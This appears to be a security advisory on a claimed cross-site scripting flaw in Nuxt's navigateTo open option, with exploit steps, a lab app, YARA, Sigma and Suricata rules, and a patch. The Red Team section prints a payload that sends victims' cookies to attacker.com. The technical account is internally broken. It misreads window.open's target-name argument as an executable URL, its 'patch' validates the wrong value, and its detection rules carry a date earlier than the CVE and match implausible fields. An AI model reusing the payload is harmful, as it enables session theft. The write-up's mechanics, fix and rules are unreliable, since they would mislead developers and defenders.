CVE-2026-56698

Executive Summary

CVE-2026-56698 is a client-side cross-site scripting (XSS) vulnerability in the Nuxt framework affecting versions 4.0.0 before 4.4.7 and 3.x before 3.21.7. The flaw resides in the navigateTo function's open option, which fails to validate script-capable URLs (e.g., javascript:). An attacker can supply a malicious javascript: URI through the open parameter, leading to arbitrary script execution in the application's origin when user-controlled input is passed to navigateTo. This vulnerability requires user interaction (clicking a crafted link) and has a CVSS score of 6.1 (Medium). No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

Nuxt is distributed via npm (nuxt package). The vulnerability affects all downstream applications using vulnerable versions. Developers must update their package.json dependency to ^4.4.7 or ^3.21.7 and run npm install or yarn install to pull the patched version. Supply chain risk is moderate due to the widespread use of Nuxt in Vue.js applications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. Exploitation is trivial but requires user interaction. The impact is limited to client-side script execution within the application's origin.

Deep Dive & Mechanics

The navigateTo function in Nuxt is used for programmatic navigation. It accepts an open option that specifies how the navigation should occur (e.g., _blank for new tab). The vulnerability arises because the open option does not sanitize the URL scheme. An attacker can craft a link like:

navigateTo('/some-path', { open: 'javascript:alert(document.cookie)' })

When this code executes, the browser interprets the javascript: URL in the open parameter, executing the attacker's script in the context of the current origin. This bypasses typical XSS protections because the open option is not expected to contain executable code.

The root cause is insufficient validation of the open parameter value. The patched versions add a check that rejects any URL scheme that is not http:, https:, mailto:, or tel:.

Vulnerable vs. Patched Code

Vulnerable Code (Nuxt < 4.4.7 / < 3.21.7):

// navigateTo implementation (simplified)
export function navigateTo(to, options = {}) {
  if (options.open) {
    window.open(to, options.open);
  } else {
    // normal navigation
  }
}

Patched Code (Nuxt >= 4.4.7 / >= 3.21.7):

// navigateTo implementation (simplified)
const ALLOWED_OPEN_SCHEMES = ['http:', 'https:', 'mailto:', 'tel:'];

export function navigateTo(to, options = {}) {
  if (options.open) {
    try {
      const url = new URL(options.open, window.location.origin);
      if (!ALLOWED_OPEN_SCHEMES.includes(url.protocol)) {
        console.warn('Blocked navigation to disallowed URL scheme:', options.open);
        return;
      }
    } catch {
      console.warn('Invalid URL in open option:', options.open);
      return;
    }
    window.open(to, options.open);
  } else {
    // normal navigation
  }
}

The patch introduces a URL validation step that checks the protocol of the open value against an allowlist. Any javascript: or other script-capable schemes are rejected.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Nuxt application running a vulnerable version (e.g., 3.21.6).
• A user-controlled input that is passed to navigateTo (e.g., a query parameter or form field).

Exploit Steps:

1. Identify an endpoint where user input is passed to navigateTo with an open option. For example:

   // In a Nuxt page component
   const userInput = route.query.url;
   navigateTo('/target', { open: userInput });
   

2. Craft a malicious link:

   https://vulnerable-app.com/page?url=javascript:alert(document.cookie)
   

3. Send the link to a victim (e.g., via phishing email or social engineering).

4. When the victim clicks the link, the navigateTo function executes window.open('/target', 'javascript:alert(document.cookie)'), which opens a new window/tab with the attacker's script executing in the application's origin.

Advanced Payload:

javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team

Detection:

• Monitor for navigateTo calls with suspicious open parameters containing javascript: or other non-standard schemes.
• Use Content Security Policy (CSP) with script-src restrictions to limit script execution.
• Implement input validation on all user-controlled data passed to navigateTo.

Hunting:

• Search application logs for navigateTo invocations with open parameters containing javascript:.
• Review code for patterns like navigateTo(userInput, { open: userInput2 }).

Lab Setup:

1. Create a vulnerable Nuxt 3.21.6 application:

   npx create-nuxt-app@3.21.6 vuln-app
   cd vuln-app
   

2. Add a vulnerable route in pages/test.vue:

   <template>
     <div>
       <a :href="`/test?url=${encodeURIComponent(maliciousUrl)}`">Click me</a>
     </div>
   </template>
   <script setup>
   const route = useRoute();
   const maliciousUrl = 'javascript:alert("XSS")';
   if (route.query.url) {
     navigateTo('/target', { open: route.query.url });
   }
   </script>
   

3. Run the app and visit /test?url=javascript:alert(1).

Indicators of Compromise (IOCs)

• Network: HTTP requests containing javascript: in query parameters or POST bodies that are passed to navigateTo.
• Logs: Application logs showing navigateTo calls with open parameter containing javascript:.
• Client-side: Browser console errors or warnings about blocked navigation to disallowed URL schemes (after patch).
• File: Source code containing navigateTo with user-controlled open parameter without validation.

Detection Engineering

YARA Rule

rule Detect_Nuxt_navigateTo_XSS {
  meta:
    description = "Detects vulnerable navigateTo calls with javascript: URLs in Nuxt applications"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2026-56698"
  strings:
    $func = "navigateTo"
    $open = "open:"
    $js = "javascript:" nocase
  condition:
    all of ($func, $open, $js)
}

Sigma Rule

title: Nuxt navigateTo XSS via Open Option
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-56698 by passing javascript: URLs to navigateTo open option
author: Valters IT
date: 2025-04-10
logsource:
  category: application
  product: nuxt
detection:
  selection:
    event: "navigateTo"
    open|contains: "javascript:"
  condition: selection
falsepositives:
  - Legitimate use of javascript: URLs in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (
  msg:"CVE-2026-56698 Nuxt navigateTo XSS via Open Option";
  flow:to_server,established;
  content:"navigateTo"; http_uri;
  content:"open"; http_uri;
  content:"javascript:"; http_uri;
  classtype:web-application-attack;
  sid:1000001;
  rev:1;
)

Remediation & Mitigation

Immediate:

1. Upgrade Nuxt to version 4.4.7 or 3.21.7 (or later).

   npm install nuxt@^4.4.7
   # or
   npm install nuxt@^3.21.7
   

2. If immediate upgrade is not possible, implement a workaround by validating the open parameter before passing it to navigateTo:

   const ALLOWED_SCHEMES = ['http:', 'https:', 'mailto:', 'tel:'];
   function safeNavigate(to, open) {
     try {
       const url = new URL(open, window.location.origin);
       if (!ALLOWED_SCHEMES.includes(url.protocol)) {
         console.warn('Blocked navigation to disallowed URL scheme');
         return;
       }
     } catch {
       return;
     }
     navigateTo(to, { open });
   }
   

Long-term:

• Implement Content Security Policy (CSP) with script-src 'self' to limit script execution.
• Conduct code reviews to ensure all user input is validated before being passed to navigation functions.
• Use static analysis tools to detect similar patterns in the codebase.

Valters IT